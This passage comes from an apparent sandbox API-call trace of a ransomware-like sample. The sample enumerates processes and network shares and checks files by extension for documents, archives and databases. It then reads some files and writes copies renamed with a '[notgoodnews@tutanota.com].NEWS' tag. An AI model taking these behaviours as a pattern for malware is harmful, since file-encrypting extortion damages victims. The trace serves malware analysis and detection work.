th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0196.039] lstrlenW (lpString="taskhostw.exe") returned 13 [0196.039] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0196.039] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0196.039] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0196.039] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0196.040] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0196.040] lstrlenW (lpString="Memory Compression") returned 18 [0196.040] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0196.040] lstrlenW (lpString="explorer.exe") returned 12 [0196.040] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0196.041] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0196.041] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0196.041] lstrlenW (lpString="SearchUI.exe") returned 12 [0196.041] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0196.042] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0196.042] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0196.042] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0196.042] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0196.043] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0196.043] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0196.043] lstrlenW (lpString="cmd.exe") returned 7 [0196.043] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfa8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0196.043] lstrlenW (lpString="cmd.exe") returned 7 [0196.043] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0196.044] lstrlenW (lpString="conhost.exe") returned 11 [0196.044] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0196.044] lstrlenW (lpString="conhost.exe") returned 11 [0196.044] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0196.045] CloseHandle (hObject=0x36c) returned 1 [0196.045] Sleep (dwMilliseconds=0x1f4) Thread: id = 87 os_tid = 0xfc8 [0190.709] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0xffffffff) returned 0x80 [0190.709] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a2f00 | out: hHeap=0x660000) returned 1 Thread: id = 88 os_tid = 0xfcc [0190.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bc2f8 [0190.711] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bc2f8, Size=0x20) returned 0x69d990 [0190.711] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d990, Size=0x40) returned 0x677958 [0190.711] GetLogicalDrives () returned 0x4 [0190.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6f5d70 [0190.711] GetComputerNameW (in: lpBuffer=0x6f5d74, nSize=0x26cff64 | out: lpBuffer="NQDPDE", nSize=0x26cff64) returned 1 [0190.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1000) returned 0x6c0080 [0190.712] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26cff34 | out: lphEnum=0x26cff34*=0x676758) returned 0x0 [0190.713] WNetEnumResourceW (in: hEnum=0x676758, lpcCount=0x26cff30, lpBuffer=0x6c0080, lpBufferSize=0x26cff38 | out: lpcCount=0x26cff30, lpBuffer=0x6c0080, lpBufferSize=0x26cff38) returned 0x103 [0190.733] WNetCloseEnum (hEnum=0x676758) returned 0x0 [0190.733] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26cff34 | out: lphEnum=0x26cff34*=0x67a638) returned 0x0 [0190.914] WNetEnumResourceW (in: hEnum=0x67a638, lpcCount=0x26cff30, lpBuffer=0x6c0080, lpBufferSize=0x26cff38 | out: lpcCount=0x26cff30, lpBuffer=0x6c0080, lpBufferSize=0x26cff38) returned 0x0 [0190.914] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1000) returned 0x31f5788 [0190.914] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6c0080, lphEnum=0x26cff08 | out: lphEnum=0x26cff08*=0x676678) returned 0x0 [0190.917] WNetEnumResourceW (in: hEnum=0x676678, lpcCount=0x26cff04, lpBuffer=0x31f5788, lpBufferSize=0x26cff0c | out: lpcCount=0x26cff04, lpBuffer=0x31f5788, lpBufferSize=0x26cff0c) returned 0x103 [0190.917] WNetCloseEnum (hEnum=0x676678) returned 0x0 [0190.917] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1000) returned 0x31f0760 [0190.917] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6c00a0, lphEnum=0x26cff08) Thread: id = 89 os_tid = 0xfd0 [0190.726] GetTickCount () returned 0x1141aad [0190.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x24) returned 0x676c38 [0190.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x676c38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280 [0190.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x676c38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284 [0190.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x676c38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288 [0190.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x676c38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0190.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bc2b0 [0190.729] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bc2b0, Size=0x20) returned 0x69d968 [0190.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bc340 [0190.729] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bc340, Size=0x20) returned 0x69db20 [0190.730] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.730] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.730] Wow64DisableWow64FsRedirection (in: OldValue=0x280ff7c | out: OldValue=0x280ff7c*=0x0) returned 1 [0190.730] lstrlenW (lpString="kernel32.dll") returned 12 [0190.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d968 | out: hHeap=0x660000) returned 1 [0190.730] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69db20 | out: hHeap=0x660000) returned 1 [0190.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6a4d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0190.731] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0191.082] GetTickCount () returned 0x1141c05 [0191.082] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0191.394] GetTickCount () returned 0x1141d3d [0191.394] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0191.894] GetTickCount () returned 0x1141f31 [0191.894] GetTickCount () returned 0x1141f31 [0191.894] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0192.159] GetTickCount () returned 0x114203b [0192.159] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0192.778] GetTickCount () returned 0x114229c [0192.778] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0192.954] GetTickCount () returned 0x1142348 [0192.954] GetTickCount () returned 0x1142348 [0192.954] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0193.193] GetTickCount () returned 0x1142442 [0193.193] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0194.018] GetTickCount () returned 0x114277e [0194.018] GetTickCount () returned 0x114277e [0194.018] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0194.628] GetTickCount () returned 0x11429d0 [0194.628] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0195.011] GetTickCount () returned 0x1142b57 [0195.011] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0195.709] GetTickCount () returned 0x1142e16 [0195.709] GetTickCount () returned 0x1142e16 [0195.709] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0196.045] GetTickCount () returned 0x1142f5e [0196.045] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) Thread: id = 92 os_tid = 0xfe4 [0190.856] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x6d5d60 [0190.857] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x6e5d68 [0190.857] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c1e10 [0190.857] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x6bbdf0 [0190.857] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c1e28 [0190.857] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x2e84020 [0190.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c1eb8 [0190.861] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c1eb8, Size=0x20) returned 0x69dcd8 [0190.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c1f00 [0190.861] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c1f00, Size=0x20) returned 0x69dc38 [0190.861] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.861] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.861] Wow64DisableWow64FsRedirection (in: OldValue=0x258ff50 | out: OldValue=0x258ff50*=0x0) returned 1 [0190.861] lstrlenW (lpString="kernel32.dll") returned 12 [0190.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dcd8 | out: hHeap=0x660000) returned 1 [0190.861] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dc38 | out: hHeap=0x660000) returned 1 [0190.861] Sleep (dwMilliseconds=0x64) [0191.195] Sleep (dwMilliseconds=0x64) [0191.449] Sleep (dwMilliseconds=0x64) [0191.896] Sleep (dwMilliseconds=0x64) [0192.125] lstrcmpiW (lpString1=".LOG", lpString2=".NEWS") returned -1 [0192.125] lstrlenW (lpString="BCD.LOG") returned 7 [0192.125] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.125] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0192.125] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0192.125] lstrlenW (lpString=".doc") returned 4 [0192.125] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0192.125] lstrlenW (lpString=".docx") returned 5 [0192.125] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0192.125] lstrlenW (lpString=".pdf") returned 4 [0192.125] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0192.125] lstrlenW (lpString=".xls") returned 4 [0192.125] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0192.126] lstrlenW (lpString=".xlsx") returned 5 [0192.126] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0192.126] lstrlenW (lpString=".ppt") returned 4 [0192.126] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0192.126] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0192.126] lstrlenW (lpString=".zip") returned 4 [0192.126] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0192.126] lstrlenW (lpString=".rar") returned 4 [0192.126] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0192.126] lstrlenW (lpString=".bz2") returned 4 [0192.126] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0192.126] lstrlenW (lpString=".7z") returned 3 [0192.126] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0192.126] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0192.126] lstrlenW (lpString=".dbf") returned 4 [0192.126] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0192.126] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0192.126] lstrlenW (lpString=".1cd") returned 4 [0192.126] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0192.126] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0192.126] lstrlenW (lpString=".jpg") returned 4 [0192.126] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0192.126] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0192.126] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0192.126] lstrlenW (lpString=".doc") returned 4 [0192.126] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0192.126] lstrlenW (lpString=".docx") returned 5 [0192.126] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0192.127] lstrlenW (lpString=".pdf") returned 4 [0192.127] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0192.127] lstrlenW (lpString=".xls") returned 4 [0192.127] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0192.127] lstrlenW (lpString=".xlsx") returned 5 [0192.127] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0192.127] lstrlenW (lpString=".ppt") returned 4 [0192.127] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0192.127] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0192.127] lstrlenW (lpString=".zip") returned 4 [0192.127] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0192.127] lstrlenW (lpString=".rar") returned 4 [0192.127] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0192.127] lstrlenW (lpString=".bz2") returned 4 [0192.127] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0192.127] lstrlenW (lpString=".7z") returned 3 [0192.127] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0192.127] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0192.127] lstrlenW (lpString=".dbf") returned 4 [0192.127] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0192.127] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0192.127] lstrlenW (lpString=".1cd") returned 4 [0192.127] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0192.127] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0192.128] lstrlenW (lpString=".jpg") returned 4 [0192.128] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0192.128] lstrcmpiW (lpString1=".p7b", lpString2=".NEWS") returned 1 [0192.128] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0192.128] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0192.130] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x258ff14 | out: lpFileSize=0x258ff14*=4662) returned 1 [0192.130] CloseHandle (hObject=0x2b4) returned 1 [0192.130] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0192.130] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.131] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.131] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0192.131] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0192.131] lstrlenW (lpString=".doc") returned 4 [0192.131] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0192.131] lstrlenW (lpString=".docx") returned 5 [0192.131] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0192.131] lstrlenW (lpString=".pdf") returned 4 [0192.131] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0192.131] lstrlenW (lpString=".xls") returned 4 [0192.131] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0192.131] lstrlenW (lpString=".xlsx") returned 5 [0192.131] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0192.131] lstrlenW (lpString=".ppt") returned 4 [0192.131] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0192.131] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0192.131] lstrlenW (lpString=".zip") returned 4 [0192.131] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0192.131] lstrlenW (lpString=".rar") returned 4 [0192.131] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0192.131] lstrlenW (lpString=".bz2") returned 4 [0192.131] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0192.131] lstrlenW (lpString=".7z") returned 3 [0192.131] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0192.132] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0192.132] lstrlenW (lpString=".dbf") returned 4 [0192.132] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0192.132] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0192.132] lstrlenW (lpString=".1cd") returned 4 [0192.132] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0192.132] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0192.132] lstrlenW (lpString=".jpg") returned 4 [0192.132] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0192.132] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0192.132] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0192.132] lstrlenW (lpString=".doc") returned 4 [0192.132] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0192.132] lstrlenW (lpString=".docx") returned 5 [0192.132] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0192.132] lstrlenW (lpString=".pdf") returned 4 [0192.132] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0192.132] lstrlenW (lpString=".xls") returned 4 [0192.132] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0192.132] lstrlenW (lpString=".xlsx") returned 5 [0192.132] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0192.132] lstrlenW (lpString=".ppt") returned 4 [0192.132] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0192.132] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0192.132] lstrlenW (lpString=".zip") returned 4 [0192.132] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0192.132] lstrlenW (lpString=".rar") returned 4 [0192.133] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0192.133] lstrlenW (lpString=".bz2") returned 4 [0192.133] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0192.133] lstrlenW (lpString=".7z") returned 3 [0192.133] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0192.133] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0192.133] lstrlenW (lpString=".dbf") returned 4 [0192.133] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0192.133] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0192.133] lstrlenW (lpString=".1cd") returned 4 [0192.133] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0192.133] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0192.133] lstrlenW (lpString=".jpg") returned 4 [0192.133] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0192.133] Sleep (dwMilliseconds=0x64) [0192.777] Sleep (dwMilliseconds=0x64) [0192.951] Sleep (dwMilliseconds=0x64) [0193.568] Sleep (dwMilliseconds=0x64) [0194.340] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0194.340] lstrlenW (lpString="HH01618_.WMF") returned 12 [0194.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0194.340] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x258ff14 | out: lpFileSize=0x258ff14*=7296) returned 1 [0194.340] CloseHandle (hObject=0x37c) returned 1 [0194.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220 [0194.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0194.341] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x258fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.341] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x258fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0194.342] GetLastError () returned 0x0 [0194.342] ReadFile (in: hFile=0x37c, lpBuffer=0x2e84020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x258fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e84020*, lpNumberOfBytesRead=0x258fecc*=0x1c80, lpOverlapped=0x0) returned 1 [0194.363] WriteFile (in: hFile=0x380, lpBuffer=0x2e84020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x258fc94, 